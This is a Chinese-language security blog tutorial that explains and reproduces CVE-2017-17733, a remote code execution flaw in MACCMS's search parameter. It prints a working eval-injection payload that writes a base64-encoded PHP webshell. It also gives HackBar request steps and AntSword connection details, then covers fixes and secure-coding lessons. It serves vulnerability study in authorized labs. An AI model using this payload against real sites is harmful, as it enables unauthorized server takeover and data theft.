MACCMS远程命令执行漏洞深度解析与实战复现(CVE-2017-17733)
1. 从一次“意外”搜索说起:CVE-2017-17733漏洞初探
几年前,我在帮朋友排查一个自建影视网站的问题时,第一次接触到了MACCMS。朋友说他的网站搜索功能有点“怪”,有时候会返回一些意想不到的内容。我当时没太在意,以为是模板或者缓存的问题。直到后来,我在安全社区看到了关于CVE-2017-17733的讨论,心里咯噔一下,回头再去检查那个朋友的网站,果然存在同样的安全隐患。这个漏洞听起来很“高大上”——远程命令执行,但它的触发点却普通得不能再普通:搜索框。
MACCMS,很多做影视站的朋友应该不陌生,它是一套用PHP写的开源视频内容管理系统。在2017年及之前的某些版本中,开发者为了让搜索功能更灵活,支持一些模板标签的动态解析。这本意是好的,能让站长自定义搜索结果的展示样式。但问题就出在,这个解析过程没有做好严格的“隔离”和“过滤”。想象一下,你家的防盗门,锁芯是好的,但门框是纸糊的,坏人不用撬锁,直接把门框撕开就进来了。CVE-2017-17733就是这个“纸糊的门框”。
具体来说,漏洞位于/index.php文件中处理搜索请求的部分,参数是wd(也就是我们输入的关键词)。系统本应只把wd参数的值当作普通字符串去数据库里查询,但它却错误地将用户输入的内容,直接拼接进了PHP的eval()函数执行环境中。eval()这个函数在PHP里是个“大杀器”,它能把字符串当作PHP代码来执行。这就相当于,你在搜索框里输入的不是“电影名”,而是一段“命令”,服务器也会傻乎乎地去执行它。
我打个比方,这就好比你去图书馆查资料,你对管理员说:“请帮我找一本关于‘编程’的书。”正常流程是,管理员去书架里找。但现在,这个图书馆的管理系统有漏洞,你对它说:“请帮我找一本关于‘编程’的书;另外,现在请把图书馆的后门钥匙给我。”这个系统居然把整句话都当作指令去执行了,真的把钥匙给了你。CVE-2017-17733就是这样一个逻辑漏洞,攻击者通过精心构造的搜索关键词(payload),就能让服务器执行任意PHP代码,从而完全控制网站。
这个漏洞的危险性极高,因为它不需要攻击者拥有任何账号密码,是“未授权”的。任何一个访问了网站搜索页面的用户,都有可能成为攻击的入口。攻击者成功后,可以在服务器上创建文件(比如木马后门)、读取数据库、甚至操作服务器系统命令。对于使用老旧版本MACCCMS的影视站来说,这无疑是一个悬在头顶的利剑。
2. 漏洞原理深潜:代码层到底发生了什么?
光知道漏洞在哪还不够,我们得扒开代码,看看它到底是怎么“坏”的。这样以后遇到类似的问题,你也能有个基本的判断思路。我找来了当时存在漏洞的MACCMS版本源码,带大家走一遍关键的代码流程。
漏洞的核心文件是index.php,当访问的m参数为vod-search(视频搜索)时,程序会进入搜索处理逻辑。它会接收用户提交的wd参数(搜索词),然后传递给模板解析引擎。问题出在模板解析的过程中。在MACCMS的模板语法中,支持类似{if-A:...}{endif-A}这样的条件判断标签。这套标签系统本意是让模板更智能,例如{if-A: $score > 9}推荐{endif-A},意思是如果评分大于9就显示“推荐”二字。
但是,在解析这些标签时,旧版本的代码使用了非常危险的方式。为了动态地执行标签内的逻辑,它直接使用了eval()函数来执行一段由字符串拼接而成的PHP代码。简化后的危险代码逻辑类似这样:
// 伪代码,演示危险逻辑
$tag_content = $_POST['wd']; // 用户输入的搜索词
// ... 一些处理,从`{if-A:`和`}{endif-A}`中提取出中间的内容...
$code_to_eval = "return (" . $extracted_content . ");";
$result = eval($code_to_eval);
看到问题了吗?$extracted_content直接来自用户输入的wd参数,它被未经任何过滤地拼接进了eval()的代码字符串里。如果用户输入的是{if-A: phpinfo()}{endif-A},那么最终执行的代码就是return (phpinfo());,服务器就会输出PHP的配置信息。
攻击者利用的正是这一点。他们不输入正常的搜索词,而是输入一个精心构造的“标签”,标签内部不是模板逻辑,而是一段用于写文件的PHP代码。我们来拆解一下那个经典的攻击payload:
{if-A:print(fputs(fopen(base64_decode('Yy5waHA='),'w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x')))}{endif-A}
- 外层结构:
{if-A:...}{endif-A}。这是为了绕过对正常搜索词的检查,让系统认为这是一个需要解析的模板标签。 - 核心函数:
base64_decode('Yy5waHA='):解码后是c.php。这是攻击者想在服务器上创建的文件名。fopen('c.php', 'w'):以写入模式打开(或创建)c.php文件。base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x'):解码后是``。这是一句话木马加上一个字符1。fputs():将解码后的内容写入到刚打开的c.php文件中。print():确保整个表达式被执行并返回结果。
整个过程,服务器“忠实”地执行了这段被伪装成模板标签的PHP代码,在网站根目录下生成了一个名为c.php的Webshell文件。这个文件的内容就是一句话木马``。此后,攻击者只需要访问这个c.php文件,并POST一个名为c的参数(参数值可以是任何PHP系统命令),服务器就会执行它,攻击者从而获得了远程命令执行的能力。
这里还有一个细节,为什么payload里要加个1?因为eval()函数需要执行一段有效的、能返回值的代码。fputs写文件成功会返回写入的字节数,print将其输出。最后木马文件末尾的1,是为了确保这个PHP文件在被直接访问时,能正常输出一个字符(而不是空白或错误),从而不那么显眼,同时也能作为攻击者验证文件是否成功创建的标志。
3. 亲手搭建靶场:漏洞复现环境准备
理解了原理,咱们就来动手实操。纸上得来终觉浅,绝知此事要躬行。在安全领域,自己亲手复现一遍漏洞,比看十篇文章印象都深刻。放心,我们会在完全合法的、自己控制的环境里进行,通常我们称之为“靶场”。
首先,强烈不建议也不允许在任何非授权的真实网站上进行测试! 这是法律和道德的底线。我们需要一个隔离的、供学习研究的环境。这里我推荐两种方式,大家可以根据自己的情况选择。
方案一:使用集成漏洞靶场(最快最方便) 对于新手或者想快速验证漏洞的同学,这是最佳选择。国内有一些优秀的在线漏洞演练平台,比如Vulhub、Vulfocus等,它们把漏洞环境和依赖都打包成了Docker镜像,一键启动。我们以Vulfocus为例(假设平台可用,具体请以实际可访问的合法靶场为准):
- 你需要注册一个靶场平台的账号。
- 在漏洞列表里搜索“MACCMS”或者“CVE-2017-17733”。
- 找到对应的漏洞环境,点击“启动”或“打开”。
- 平台会分配一个独立的、临时的访问地址,比如
http://123.58.224.8:27465。这个地址就是你的靶机了。
这种方式省去了安装配置PHP、MySQL、MACCMS的繁琐过程,环境纯净且与你的物理机隔离,非常适合学习和演示。
方案二:本地搭建完整环境(更贴近实战) 如果你想更深入地了解MACCMS的部署和漏洞产生的上下文,可以在自己的虚拟机(如VMware、VirtualBox)里搭建。你需要准备:
- PHP环境:PHP 5.x 版本(与漏洞版本匹配),可以使用XAMPP、PHPStudy等集成包快速安装。
- 数据库:MySQL。
- MACCMS源码:从历史版本仓库或存档网站下载存在漏洞的版本(例如MACCMS 8.x的某个早期版本)。请注意,务必在隔离的虚拟机中操作,切勿在连接公网的生产或开发机上运行此有漏洞的源码。
- 部署:将源码解压到Web服务器目录(如
htdocs),按照安装向导配置数据库连接。
我个人的习惯是,第一次复现某个漏洞时用方案一,快速走通流程。当我想深入研究漏洞的代码上下文、或者尝试不同的利用方式时,会用方案二在本地虚拟机里搭建。本地环境的好处是你可以随意修改代码、打断点调试,对理解漏洞机理帮助巨大。
无论用哪种方式,当你的靶场环境就绪后,用浏览器访问对应的IP和端口,你应该能看到一个正常的MACCMS影视网站首页,有搜索框、分类导航等。我们的攻击,就将从这个看似无害的搜索框开始。
4. 实战复现:一步步拿下“目标”
环境准备好了,咱们就进入最核心的实战环节。我会像当时给我朋友排查问题一样,把每一步操作、每一个细节都讲清楚。你需要准备两样工具:一个带HackBar插件的浏览器(这里用Firefox演示),以及中国蚁剑(AntSword)。别怕,操作起来其实很直观。
第一步:定位攻击入口
打开你的靶场网站,首先点开搜索功能。在搜索框里随便输入点什么,比如“test”,然后搜索。此时注意看浏览器地址栏,URL通常会变成类似 http://靶场地址/index.php?m=vod-search 的样子。这说明搜索请求是由index.php这个文件,通过m=vod-search这个参数来处理的。这是我们攻击的入口点。
第二步:使用HackBar构造攻击载荷 光在搜索框里输入我们的恶意payload可能不行,因为前端的表单可能会有限制。我们需要直接向服务器发送POST请求。这里就用上Firefox的HackBar插件了(安装方法自行搜索,很简单)。
- 在靶场页面,按F12打开开发者工具,找到HackBar标签页并激活它。
- 在URL框里填入你的靶场地址加上
/index.php?m=vod-search。 - 将请求方式从GET切换为POST。
- 在POST data区域,我们需要填入参数。根据漏洞原理,参数名是
wd,值就是我们那一长串编码后的payload。为了避免特殊字符被错误转义,我们直接填入URL编码后的最终版本:
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
我来解释一下这个“天书”是怎么来的。它其实就是之前原理部分那个payload的URL编码版本。(变成了%28,)变成了%29,这是为了在HTTP请求中安全传输。而里面的Yy5waHA=和PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x分别是c.php和``的Base64编码。HackBar的“Execute”按钮相当于帮你发送了这个特殊的POST请求。
第三步:验证Webshell是否上传成功
点击“Execute”发送请求后,如果页面没有报错,而是正常返回了搜索结果(可能是空的)或者一个数字(比如写入的字节数),那就说明payload可能执行成功了。怎么确认呢?最简单的方法,就是尝试访问我们试图创建的文件。在你的浏览器新标签页里,访问 http://靶场地址/c.php。
如果页面上显示了一个孤零零的“1”,那么恭喜你,漏洞利用成功了!这个“1”就是我们写入文件时特意加在木马代码后面的那个字符。它说明两件事:第一,c.php文件被成功创建;第二,文件中的PHP代码被正常执行(执行了前面的``部分),并输出了后面的1。如果页面是空白、404错误或者显示PHP报错,那就需要回头检查一下payload的编码、靶场环境是否正确。
第四步:连接Webshell,获取控制权
现在,服务器上已经有了我们的“后门”文件c.php。接下来就要用中国蚁剑来连接它,实现图形化的控制。
- 打开中国蚁剑,右键点击左侧空白区域,选择“添加数据”。
- 在弹窗中,URL地址填写
http://靶场地址/c.php。 - 连接密码填写
c。这个密码对应木马代码里的$_POST[‘c’],意味着我们通过POST一个叫c的参数来传递命令。 - 其他设置可以默认,然后点击“添加”。
如果一切正常,蚁剑的左侧目录树就会显示出目标服务器的文件系统。你可以像操作自己电脑上的文件管理器一样,浏览网站目录、查看配置文件、甚至上传下载文件。在漏洞复现的靶场里,通常flag文件会放在根目录/、/tmp或者网站目录下。你只需要耐心找一找,就能发现那个标志着胜利的flag文件,比如flag-{xxxx-xxxx-xxxx},双击打开就能看到内容。
整个流程走下来,你会发现从一个普通搜索框到完全控制服务器,中间的距离可能只差一个没有过滤的参数。这种震撼感,是单纯阅读漏洞描述无法体会的。这也是为什么我坚持认为,安全研究一定要动手实践。
5. 漏洞修复与安全启示
成功复现漏洞,体验了“攻击者”的视角之后,我们更要回过头来,站在“防御者”的角度思考。MACCMS官方在漏洞被披露后,很快就发布了修复方案。了解如何修复,不仅能帮你加固自己的系统,更能让你深刻理解安全编程的原则。
官方修复的核心思路非常简单直接:禁止在模板标签中执行任意PHP代码。他们修改了模板解析引擎的逻辑,不再使用危险的eval()函数来处理{if-A:...}这类标签中的内容。取而代之的是,使用一套严格的白名单机制,只允许解析预定义好的、安全的变量和运算符。比如,标签里只能进行简单的变量比较、数学运算,绝对不允许出现函数调用(如fopen、fputs、base64_decode)。这就从根本上堵死了攻击者注入代码的可能性。
对于还在使用老旧版本MACCMS的站长,如果无法立即升级,一个临时的缓解措施是在代码层面对wd参数进行严格的过滤。例如,在接收到搜索请求时,检查参数中是否包含eval、base64_decode、fopen、system等危险函数字符串,或者直接过滤掉{if-A:和}{endif-A}这类标签语法。但我要强调,这仅仅是临时缓解,最彻底的办法永远是升级到官方已修复的安全版本。
从这个漏洞中,我们可以提炼出几条对开发者至关重要的安全启示:
- 永远不要信任用户输入:这是安全领域的“第一法则”。所有来自外部的数据,包括URL参数、POST表单、Cookie、HTTP头,都必须视为不可信的、恶意的。在MACCMS这个案例中,
wd参数本应是纯文本搜索词,却被当成了代码的一部分执行。 - 谨慎使用危险函数:
eval()、assert()、system()、exec()、popen()等函数能直接执行代码或系统命令,能力强大但也极其危险。除非有压倒性的理由和万全的防护,否则应尽量避免使用。如果非用不可,必须对输入进行极其严格的过滤和校验。 - 最小权限原则:Web服务器进程(如www-data用户)不应该拥有过高的系统权限。这样即使被攻破,攻击者能做的事情也有限。同时,对网站目录的写权限要严格控制,像允许上传或生成PHP文件的目录,更应该单独设置,并禁止脚本执行。
- 输入验证与输出编码:对输入,要验证其类型、长度、格式是否符合预期(比如
wd参数是否只包含合理的搜索关键词)。对输出到HTML、JavaScript、SQL语句中的数据,要进行正确的编码或转义,防止跨站脚本(XSS)和SQL注入等二次攻击。 - 使用安全的编码实践:比如,使用参数化查询来防御SQL注入,使用CSRF令牌来防御跨站请求伪造,对敏感操作(如写文件、执行命令)增加二次认证或日志审计。
对我自己而言,复现CVE-2017-17733这个漏洞是一个重要的学习节点。它让我真切地体会到,一个微小的逻辑疏忽,在特定的代码上下文中,会被放大成多么严重的系统性风险。从那以后,我在审查代码或者设计功能时,对用户输入的流向和处理方式会格外警惕。安全不是产品上线前才加上的“功能”,而应该是贯穿于设计、开发、测试、运维每一个环节的“基因”。每一次漏洞复现,都是一次对安全思维的强化训练。
更多推荐


所有评论(0)